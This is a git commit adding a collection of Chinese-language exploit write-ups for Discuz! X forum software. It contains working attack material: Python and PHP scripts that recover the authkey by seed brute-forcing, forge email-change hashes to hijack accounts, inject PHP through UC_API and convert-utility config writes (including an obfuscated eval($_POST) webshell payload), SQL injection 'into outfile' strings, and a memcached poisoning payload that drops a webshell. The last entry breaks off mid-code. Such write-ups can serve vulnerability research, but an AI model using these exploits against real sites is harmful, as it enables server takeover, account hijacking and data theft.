update Discuz exp

This commit is contained in:
helloexp 2022-01-13 17:40:56 +08:00
parent fe482e9c74
commit 144511815b
84 changed files with 1946 additions and 0 deletions

View File

@ -0,0 +1,195 @@
Discuz! X \< 3.4 authkey 算法的安全性漏洞
=========================================
一、漏洞简介
------------
2017年8月1日Discuz!发布了X3.4版本此次更新中修复了authkey生成算法的安全性漏洞通过authkey安全性漏洞我们可以获得authkey。系统中逻辑大量使用authkey以及authcode算法通过该漏洞可导致一系列安全问题邮箱校验的hash参数被破解导致任意用户绑定邮箱可被修改等...
二、漏洞影响
------------
php\>5.3+php-curl\<=7.54
- Discuz\_X3.3\_SC\_GBK
- Discuz\_X3.3\_SC\_UTF8
- Discuz\_X3.3\_TC\_BIG5
- Discuz\_X3.3\_TC\_UTF8
- Discuz\_X3.2\_SC\_GBK
- Discuz\_X3.2\_SC\_UTF8
- Discuz\_X3.2\_TC\_BIG5
- Discuz\_X3.2\_TC\_UTF8
- Discuz\_X2.5\_SC\_GBK
- Discuz\_X2.5\_SC\_UTF8
- Discuz\_X2.5\_TC\_BIG5
- Discuz\_X2.5\_TC\_UTF8
三、复现过程
------------
### 漏洞分析
在dz3.3/upload/install/index.php 346行
![](./resource/Discuz!X<3.4authkey算法的安全性漏洞/media/rId25.png)
我们看到authkey是由多个参数的md5前6位加上random生成的10位产生的。
跟入random函数
![](./resource/Discuz!X<3.4authkey算法的安全性漏洞/media/rId26.png)
当php版本大于4.2.0时,随机数种子不会改变
我们可以看到在生成authkey之后使用random函数生成了4位cookie前缀
$_config['cookie']['cookiepre'] = random(4).'_';
那么这4位cookie前缀就是我们可以得到的那我们就可以使用字符集加上4位已知字符爆破随机数种子。
首先我们需要先获得4位字符
![](./resource/Discuz!X<3.4authkey算法的安全性漏洞/media/rId27.png)
> 如上图所示,前四位是**sW7c**
然后通过脚本生成用于php\_mt\_seed的参数
> 这里需要修改第13行代码替换你自己的cookie前四位
# coding=utf-8
w_len = 10
result = ""
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
length = len(str_list)
for i in xrange(w_len):
result+="0 "
result+=str(length-1)
result+=" "
result+="0 "
result+=str(length-1)
result+=" "
sstr = "sW7c"
for i in sstr:
result+=str(str_list.index(i))
result+=" "
result+=str(str_list.index(i))
result+=" "
result+="0 "
result+=str(length-1)
result+=" "
print result
得到参数,使用php\_mt\_seed脚本
https://github.com/ianxtianxt/php-mt\_rand
./php_mt_seed 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 54 54 0 61 22 22 0 61 33 33 0 61 38 38 0 61 > result.txt
这里我获得了245组种子
接下来我们需要使用这245组随机数种子生成随机字符串
<?php
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
$fp = fopen('result.txt', 'rb');
$fp2 = fopen('result2.txt', 'wb');
while(!feof($fp)){
$b = fgets($fp, 4096);
if(preg_match("/seed = (\d)+/", $b, $matach)){
$m = $matach[0];
}else{
continue;
}
// var_dump(substr($m,7));
mt_srand(substr($m,7));
fwrite($fp2, random(10)."\n");
}
fclose($fp);
fclose($fp2);
当我们获得了所有的后缀时我们需要配合爆破6位字符0-9a-f来验证authkey的正确性,由于的数量差不多16\*\*6\*200+,为了在有限的时间内爆破出来,我们需要使用一个本地爆破的方式。
这里使用了找回密码中的id和sign参数让我们一起来看看逻辑。
当我们点击忘记密码的时候。
会进入`/source/module/member/member_lostpasswd.php`
65行生成用于验证的sign值。
![](./resource/Discuz!X<3.4authkey算法的安全性漏洞/media/rId28.png)
跟随make\_getpws\_sign函数进入`/source/function/function_member.php`
![](./resource/Discuz!X<3.4authkey算法的安全性漏洞/media/rId29.png)
然后进入dsign函数配合authkey生成结果
![](./resource/Discuz!X<3.4authkey算法的安全性漏洞/media/rId30.png)
这里我们可以用python模拟这个过程然后通过找回密码获得uid、id、sign爆破判断结果。
### poc
> http://www.0-sec.org/dz3.3/member?mod=getpasswd&uid=2&id=vnY6nW&sign=af3b937d0132a06b
>
> 自行修改第7,8,13行代码
# coding=utf-8
import itertools
import hashlib
import time
def dsign(authkey):
url = "http://127.0.0.1/dz3.3/"
idstring = "vnY6nW"
uid = 2
uurl = "{}member.php?mod=getpasswd&uid={}&id={}".format(url, uid, idstring)
url_md5 = hashlib.md5(uurl+authkey)
return url_md5.hexdigest()[:16]
def main():
sign = "af3b937d0132a06b"
str_list = "0123456789abcdef"
with open('result2.txt') as f:
ranlist = [s[:-1] for s in f]
s_list = sorted(set(ranlist), key=ranlist.index)
r_list = itertools.product(str_list, repeat=6)
print "[!] start running...."
s_time = time.time()
for j in r_list:
for s in s_list:
prefix = "".join(j)
authkey = prefix + s
# print dsign(authkey)
if dsign(authkey) == sign:
print "[*] found used time: " + str(time.time() - s_time)
return "[*] authkey found: " + authkey
print main()
![](./resource/Discuz!X<3.4authkey算法的安全性漏洞/media/rId32.png)
![](./resource/Discuz!X<3.4authkey算法的安全性漏洞/media/rId33.png)
参考链接
--------
> https://lorexxar.cn/2017/08/31/dz-authkey/\#%E6%BC%8F%E6%B4%9E%E8%AF%A6%E6%83%85

View File

@ -0,0 +1,100 @@
Discuz! X \< 3.4 uc\_center 后台代码执行漏洞
============================================
一、漏洞简介
------------
二、漏洞影响
------------
Discuz! X \< 3.4
三、复现过程
------------
- 进入后台站长-Ucenter设置设置UC\_KEY=随意(一定要记住,后面要用),
```{=html}
<!-- -->
```
UC_API= http://www.0-sec.org/discuz34/uc_server');phpinfo();//
1.png
2.png
成功写进配置文件这里单引号被转移了我们接下来使用UC\_KEY(dz)去调用api/uc.php中的updateapps函数更新UC\_API。
利用UC\_KEY(dz) 生成code参数使用过UC\_KEY(dz)
GetWebShell的同学肯定不陌生这里使用的UC\_KEY(dz)就是上面我们设置的。
<?php
$uc_key="123456";//
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b',$code);
$code = str_replace('/','%2f',$code);
echo $code;
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : '123456');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
- 将生成的数据带入GET请求中的code 参数,发送数据包 3.png
访问 http://www.0-sec.org/discuz34/config/config\_ucenter.php
代码执行成功4.png
5.png
到此成功GetWebShell在这个过程中有一点需要注意的是我们修改了程序原有的UC\_KEY(dz)成功GetWebShell以后一定要修复有2中方法
- 从数据库中读取authkey(uc\_server)通过UC\_MYKEY解密获得UC\_KEY(dz)当然有可能authkey(uc\_server)就是UC\_KEY(dz)。
- 直接进入Ucenter后台修改UC\_KEY修改成我们GetWebShell过程中所设置的值。

View File

@ -0,0 +1,19 @@
Discuz! X 3.4 admincp\_misc.php SQL注入漏洞
===========================================
一、漏洞简介
------------
由于是update型注入我们在后台已经可以利用数据库备份获得数据对本网站意义不大但是有同mysql的其他网站如果权限不严跨库查询搞定同mysql的其他网站。
二、漏洞影响
------------
Discuz! X 3.4
三、复现过程
------------
https://www.0-sec.org/admin.php?action=misc&operation=censor
192540\_0de6824f\_5044043.png

View File

@ -0,0 +1,32 @@
Discuz! X Windows短文件名安全问题导致的数据库备份爆破
=====================================================
一、漏洞简介
------------
看似是比较鸡肋的小技巧,但在猜一些随机命令的文件名时非常有用,比如:利用短文件名我们可以下载数据库备份文件(文件名中含有随机字符),利用备份文件我们可以尝试解密用户密码。
二、漏洞影响
------------
存在Windows短文件名爆破的系统中
三、复现过程
------------
1.png
数据库备份功能默认备份在目录\"backup\_随机字符串\"
文件名为**年月日\_随机字符串**
windows下短文件名访问文件或目录只需要知道前6个字符 backup正好6个
就可以判断备份目录是否存在
https://www.0-sec.org/data/backup~1/
进而通过爆破年月日来寻找数据库备份文件
https://www.0-sec.org/data/backup~1/190814~1.sql
2.png

View File

@ -0,0 +1,143 @@
Discuz! X authkey 重置任意账户邮箱
==================================
一、漏洞简介
------------
需要得到authkey
二、漏洞影响
------------
三、复现过程
------------
当我们申请修改邮箱的时候,我们会受到一封类似于下面这样的邮件。
![](./resource/Discuz!Xauthkey重置任意账户邮箱/media/rId24.png)
验证链接类似于
http://www.0-sec.org/dz3.3/home.php?mod=misc&ac=emailcheck&hash=0eb7yY2wtS1q16Zs2%2BtSkR6w5O%2Fx6jdLbu0FnWbegB8ixs2Y6tfcyAnrvz4yPIE7pKzoqawU0ku47y4F
跟入`/source/include/misc/misc_emailcheck.php` 代码如下:
<?php
/**
* [Discuz!] (C)2001-2099 Comsenz Inc.
* This is NOT a freeware, use is subject to license terms
*
* $Id: misc_emailcheck.php 33688 2013-08-02 03:00:15Z nemohou $
*/
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
$uid = 0;
$email = '';
$_GET['hash'] = empty($_GET['hash']) ? '' : $_GET['hash'];
if($_GET['hash']) {
list($uid, $email, $time) = explode("\t", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
$uid = intval($uid);
}
// exit($email);
if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
$member = getuserbyuid($uid);
$setarr = array('email'=>$email, 'emailstatus'=>'1');
if($_G['member']['freeze'] == 2) {
$setarr['freeze'] = 0;
}
loaducenter();
$ucresult = uc_user_edit(addslashes($member['username']), '', '', $email, 1);
if($ucresult == -8) {
showmessage('email_check_account_invalid', '', array(), array('return' => true));
} elseif($ucresult == -4) {
showmessage('profile_email_illegal', '', array(), array('return' => true));
} elseif($ucresult == -5) {
showmessage('profile_email_domain_illegal', '', array(), array('return' => true));
} elseif($ucresult == -6) {
showmessage('profile_email_duplicate', '', array(), array('return' => true));
}
if($_G['setting']['regverify'] == 1 && $member['groupid'] == 8) {
$membergroup = C::t('common_usergroup')->fetch_by_credits($member['credits']);
$setarr['groupid'] = $membergroup['groupid'];
}
updatecreditbyaction('realemail', $uid);
C::t('common_member')->update($uid, $setarr);
C::t('common_member_validate')->delete($uid);
dsetcookie('newemail', "", -1);
showmessage('email_check_sucess', 'home.php?mod=spacecp&ac=profile&op=password', array('email' => $email));
} else {
showmessage('email_check_error', 'index.php');
}
?>
当hash传入的时候服务端会调用authcode函数解码获得用户的uid要修改成的email时间戳。
list($uid, $email, $time) = explode("\t", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
然后经过一次判断
if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
这里没有任何额外的判断在接下来的部分也仅仅对uid的有效性做了判断而uid代表这用户的id值是从1开始自增的。
也就是说只要authcode函数解开hash值就能成功的验证并修改邮箱。
这里我们可以直接使用authcode函数来获得hash值
### poc
> 这里需要修改md5(\"authkey\")
<?php
//Enter your code here, enjoy!
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
echo authcode("3\ttest@success.com\t1503556905", 'ENCODE', md5(substr(md5("5e684ceqNxuCvmoK"), 0, 16)));
访问hash页面我们可以看到验证邮箱已经被修改了接下来我们可以直接通过忘记密码来修改当前用户的密码。
![](./resource/Discuz!Xauthkey重置任意账户邮箱/media/rId26.png)
参考链接
--------
> https://lorexxar.cn/2017/08/31/dz-authkey/\#%E6%BC%8F%E6%B4%9E%E8%AF%A6%E6%83%85

View File

@ -0,0 +1,223 @@
Discuz! X 系列全版本 后台Sql注入漏洞
====================================
一、漏洞简介
------------
利用条件:
1.知道网站的绝对路径
2.secure\_file\_priv的值为空
二、漏洞影响
------------
Discuz!X 系列全版本 截止到 Discuz!X 3.4 R20191201 UTF-8
三、复现过程
------------
挖过discuz 漏洞的都知道 它会对大部分传参进来的值进行过滤和校验
,所以当时找了一个二次注入的点
uc\_server\\model\\base.php 37行
<?php
/*
[UCenter] (C)2001-2099 Comsenz Inc.
This is NOT a freeware, use is subject to license terms
$Id: base.php 1167 2014-11-03 03:06:21Z hypowang $
*/
!defined('IN_UC') && exit('Access Denied');
class base {
var $sid;
var $time;
var $onlineip;
var $db;
var $view;
var $user = array();
var $settings = array();
var $cache = array();
var $app = array();
var $lang = array();
var $input = array();
function __construct() {
$this->base();
}
function base() {
$this->init_var();
$this->init_db();
$this->init_cache();
$this->init_app();
$this->init_user();
$this->init_template();
$this->init_note(); //跟进
$this->init_mail();
}
uc\_server\\model\\base.php 198行 开始
function init_note() {
if($this->note_exists()) { //跟进
$this->load('note');
$_ENV['note']->send();
}
}
function note_exists() {
$noteexists = $this->db->result_first("SELECT value FROM ".UC_DBTABLEPRE."vars WHERE name='noteexists".UC_APPID."'"); //从配置文件取值UC_APPID
return FALSE;
} else {
return TRUE;
}
}
查找UC\_APPID
source\\admincp\\admincp\_setting.php 2523行
$settingnew = $_GET['settingnew']; //传入
if($operation == 'credits') {
$extcredits_exists = 0;
foreach($settingnew['extcredits'] as $val) {
if(isset($val['available']) && $val['available'] == 1) {
$extcredits_exists = 1;
break;
}
}
if(!$extcredits_exists) {
cpmsg('setting_extcredits_must_available');
}
if($settingnew['report_reward']) {
$settingnew['report_reward']['min'] = intval($settingnew['report_reward']['min']);
$settingnew['report_reward']['max'] = intval($settingnew['report_reward']['max']);
if($settingnew['report_reward']['min'] > $settingnew['report_reward']['max']) {
unset($settingnew['report_reward']);
}
if($settingnew['report_reward']['min'] == $settingnew['report_reward']['max']) {
$settingnew['report_reward'] = array('min' => '', 'max' => '');
}
$settingnew['report_reward'] = serialize($settingnew['report_reward']);
}
$settingnew['creditspolicy'] = @dunserialize($setting['creditspolicy']);
$settingnew['creditspolicy']['lowerlimit'] = array();
foreach($settingnew['lowerlimit'] as $key => $value) {
if($settingnew['extcredits'][$key]['available']) {
$settingnew['creditspolicy']['lowerlimit'][$key] = (float)$value;
}
}
unset($settingnew['lowerlimit']);
}
if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {
require_once './config/config_ucenter.php';
$ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : addslashes($settingnew['uc']['dbpass']);
$settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);
if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']){
cpmsg('uc_config_load_data_local_infile_error', '', 'error');
}
if($settingnew['uc']['connect']) {
$uc_dblink = function_exists("mysql_connect") ? @mysql_connect($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew, 1) : new mysqli($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew);
if(!$uc_dblink) {
cpmsg('uc_database_connect_error', '', 'error');
} else {
if(function_exists("mysql_connect")) {
mysql_close($uc_dblink);
} else {
$uc_dblink->close();
}
}
}
$fp = fopen('./config/config_ucenter.php', 'r');
$configfile = fread($fp, filesize('./config/config_ucenter.php'));
$configfile = trim($configfile);
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
fclose($fp);
$connect = '';
$settingnew['uc'] = daddslashes($settingnew['uc']);
if($settingnew['uc']['connect']) {
$connect = 'mysql';
$samelink = ($dbhost == $settingnew['uc']['dbhost'] && $dbuser == $settingnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
$configfile = str_replace("define('UC_DBHOST', '".addslashes(UC_DBHOST)."')", "define('UC_DBHOST', '".$settingnew['uc']['dbhost']."')", $configfile);
$configfile = str_replace("define('UC_DBUSER', '".addslashes(UC_DBUSER)."')", "define('UC_DBUSER', '".$settingnew['uc']['dbuser']."')", $configfile);
$configfile = str_replace("define('UC_DBPW', '".addslashes(UC_DBPW)."')", "define('UC_DBPW', '".$ucdbpassnew."')", $configfile);
if(!preg_match('/^[\w\d\_]+$/', $settingnew['uc']['dbtablepre']) || !preg_match('/^[\w\d\_]+$/', $settingnew['uc']['dbname'])) {
cpmsg('uc_config_write_error', '', 'error');
}
$configfile = str_replace("define('UC_DBNAME', '".addslashes(UC_DBNAME)."')", "define('UC_DBNAME', '".$settingnew['uc']['dbname']."')", $configfile);
$configfile = str_replace("define('UC_DBTABLEPRE', '".addslashes(UC_DBTABLEPRE)."')", "define('UC_DBTABLEPRE', '`".$settingnew['uc']['dbname'].'`.'.$settingnew['uc']['dbtablepre']."')", $configfile);
}
$configfile = str_replace("define('UC_CONNECT', '".addslashes(UC_CONNECT)."')", "define('UC_CONNECT', '".$connect."')", $configfile);
$configfile = str_replace("define('UC_KEY', '".addslashes(UC_KEY)."')", "define('UC_KEY', '".$settingnew['uc']['key']."')", $configfile);
$configfile = str_replace("define('UC_API', '".addslashes(UC_API)."')", "define('UC_API', '".$settingnew['uc']['api']."')", $configfile);
$configfile = str_replace("define('UC_IP', '".addslashes(UC_IP)."')", "define('UC_IP', '".$settingnew['uc']['ip']."')", $configfile);
$configfile = str_replace("define('UC_APPID', '".addslashes(UC_APPID)."')", "define('UC_APPID', '".$settingnew['uc']['appid']."')", $configfile);
$fp = fopen('./config/config_ucenter.php', 'w');
if(!($fp = @fopen('./config/config_ucenter.php', 'w'))) {
cpmsg('uc_config_write_error', '', 'error');
}
@fwrite($fp, trim($configfile)); // 写入到config_ucenter.php 可控UC_APPID 的值 通过上面代码可以看出来只简单的addslashes了一下
@fclose($fp);
}
isset($settingnew['regname']) && empty($settingnew['regname']) && $settingnew['regname'] = 'register';
isset($settingnew['reglinkname']) && empty($settingnew['reglinkname']) && $settingnew['reglinkname'] = cplang('reglinkname_default');
$nohtmlarray = array('bbname', 'regname', 'reglinkname', 'icp', 'sitemessage', 'site_qq');
foreach($nohtmlarray as $k) {
if(isset($settingnew[$k])) {
$settingnew[$k] = dhtmlspecialchars($settingnew[$k]);
}
}
if(isset($settingnew['statcode'])) {
$settingnew['statcode'] = preg_replace('/language\s*=[\s|\'|\"]*php/is', '_', $settingnew['statcode']);
$settingnew['statcode'] = str_replace(array('<?', '?>'), array('<?', '?>'), $settingnew['statcode']);
}
转义一次的字符串被写人文件中在PHP解析时就是没有转义过的原始内容
造成了二次注入的产生
<?php
define('UC_APPID', 'sadsadsadasd\'');
printf(UC_APPID);
![](./resource/Discuz!X系列全版本后台Sql注入漏洞/media/rId24.png)
漏洞验证
![](./resource/Discuz!X系列全版本后台Sql注入漏洞/media/rId25.png)
![](./resource/Discuz!X系列全版本后台Sql注入漏洞/media/rId26.png)
![](./resource/Discuz!X系列全版本后台Sql注入漏洞/media/rId27.png)
直接构造语句
1' into outfile 'c:\\wamp64\\tmp\\1.txt' -- a
![](./resource/Discuz!X系列全版本后台Sql注入漏洞/media/rId28.png)
![](./resource/Discuz!X系列全版本后台Sql注入漏洞/media/rId29.png)
构造报错注入
### 补充:
UCenter 应用 ID填入exp然后提交
1' union select 'abc' into outfile 'c:\6.txt' -- a

View File

@ -0,0 +1,124 @@
Discuz! X 系列全版本版本转换功能导致Getshell
==============================================
一、漏洞简介
------------
存在问题的代码在`/utility/convert/`目录下这部分的功能主要是用于Dz系列产品升级/转换。
二、漏洞影响
------------
Discuz! X 全版本
三、复现过程
------------
### 漏洞分析
入口`utility/convert/index.php`
require './include/common.inc.php';
$action = getgpc('a');
$action = empty($action) ? getgpc('action') : $action;
$source = getgpc('source') ? getgpc('source') : getgpc('s');
`$_POST['a']`,直接赋值给`$action`,此时`$action = config`;
} elseif($action == 'config' || CONFIG_EMPTY) {
require DISCUZ_ROOT.'./include/do_config.inc.php';
} elseif($action == 'setting') {
满足条件,引入`./include/do_config.inc.php`
@touch($configfile);
......
if(submitcheck()) {
$newconfig = getgpc('newconfig');
if(is_array($newconfig)) {
$checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
foreach ($checkarray as $key) {
......
}
save_config_file($configfile, $newconfig, $config_default);
`$newconfig``$_POST[newconfig]`获取数据,`save_config_file`函数保将`$newconfig`保存到`$configfile`文件中,即`config.inc.php`文件。跟进该函数。
function save_config_file($filename, $config, $default) {
$config = setdefault($config, $default);// 将$config中的空白项用 $default 中对应项的值填充
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$content = <<<EOT
<?php
\$_config = array();
EOT;
$content .= getvars(array('_config' => $config));
$content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
file_put_contents($filename, $content);
}
getvars函数处理此时的`$config` =
`$newconfig+config.default.php对应项的补充`。看一下getvars函数
function getvars($data, $type = 'VAR') {
$evaluate = '';
foreach($data as $key => $val) {
if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
continue;
}
if(is_array($val)) {
$evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}
满足if条件会执行`buildarray`函数,此时`$key=_config``$val`=上面的`$config`。最终造成写入的在该函数中update.php
2206行
foreach ($array as $key => $val) {
if($level == 0) {
//str_pad — 使用另一个字符串填充字符串为指定长度
// 第一个参数是要输出的字符串指定长度为50用'-'填充,居中
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n";
}
本意是使用`$config`数组的key作为每一块配置区域的\"注释标题\",写入配置文件的\$newline依赖于\$key而\$key是攻击者可控的。
未对输入数据进行正确的边界处理,导致可以插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码。
### 漏洞复现
在产品升级/转换-\>选择产品转换程序 -\>设置服务器信息 这里抓包,
payload
POST /dz/utility/convert/index.php HTTP/1.1
Host: www.0-sec.org:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://127.0.0.1:8001
Connection: close
Referer: http://127.0.0.1:8001/dz/utility/convert/index.php
Upgrade-Insecure-Requests: 1
a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa
![](./resource/Discuz!X系列全版本版本转换功能导致Getshell/media/rId26.png)
参考链接
--------
> https://xz.aliyun.com/t/7492\#toc-18

View File

@ -0,0 +1,51 @@
Discuz! X3.1 后台任意代码执行漏洞
=================================
一、漏洞简介
------------
二、漏洞影响
------------
Discuz! X3.1
三、复现过程
------------
- 全局\--〉网站第三方统计代码\--〉插入php代码\[其他地方\<\>会被转意\] 如插入 007uCUf6ly1fxlneom4cfj30om0l40vg.jpg
- 工具\--〉更新缓存\[为了保险起见,更新下系统缓存\] 2.jpg
- 门户\--\> HTML管理\--〉设置:
1 静态文件扩展名\[一定要设置成htm\] htm2) 专题HTML存放目录: template/default/portal3) 设置完,提交吧!
3.jpg
- 门户\--〉专题管理\--〉创建专题:
1专题标题xyz // 这个随便你写了2静态化名称portal\_topic\_222 //222为自定义文件名自己要记住3附加内容选择上 站点尾部信息
4.jpg
- 提交
- 回到门户\--〉专题管理,把刚才创建的专题开启,如下图
5.jpg
- 把刚才的专题,生成
6.jpg
下面就是关键了,现在到了包含文件的时候了。
- 再新建一个专题:
1专题标题静态化名称这2个随便写2模板名这个要选择我们刚才生成的页面./template/default/portal/portal\_topic\_222.htm
7.jpg
- 然后提交,就执行了
8.jpg

View File

@ -0,0 +1,109 @@
Discuz! X3.4 Memcached未授权访问导致的rce
=========================================
一、漏洞简介
------------
这个漏洞大致利用过程是这样的利用discuz!的ssrf漏洞利用gopher协议写入payload到memcached然后请求特定链接导致代码执行漏洞。
二、漏洞影响
------------
- \<= x3.4
- windows
- php\>5.3+php-curl\<=7.54
- DZ开放在80端口
三、复现过程
------------
### 漏洞分析
Dz 整合 Memcache
配置成功后,默认情况下网站首页右下角会出现`MemCache On`的标志:
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId25.jpg)
漏洞利用有两个版本一个是老版本一个是新版本discuz虽然已经是x3.4,代码也发生了变化,漏洞确是任然没有修复。
漏洞利用代码流程逻辑:
访问:
forum.php?mod=ajax&inajax=yes&action=getthreadtypes
./source/module/forum/forum_ajax.php
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId26.png)
./template/default/common/footer_ajax.htm
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId27.png)
./source/function/function_core.php
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId28.png)
./source/function/function_core.php
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId29.png)
最后利用`preg_replace`函数`/e`参数的代码执行特性完成了漏洞利用的全部过程。
以上是老版本代码在网上已经有一些分析了在这里简述一些重点是payload的完整性使用。网上文章大部分在payload部分都只是验证性演示。作为一名红队渗透测试人员验证性payload肯定是不能再实际渗透测试活动中使用的。
### 漏洞复现
***1 老版本漏洞利用流程:***
生成payload
<?php
$payload['output']['preg']['search']['plugins']= "/.*/e";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
然后telnet链接memcached
telnet 1.1.1.1 11211
set xxxxxx_setting 1 0 yyy //xxxx为前缀discuz定义的可以使用stats cachedump 命令查看。yyy为payload长度。
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId31.png)
最后访问**forum.php?mod=ajax&inajax=yes&action=getthreadtypes**
shell生成\*\*/data/cache/ln.php\*\*
***2 新版本漏洞利用流程***
生成payload有点变化(ps:只是少了一个e)
<?php
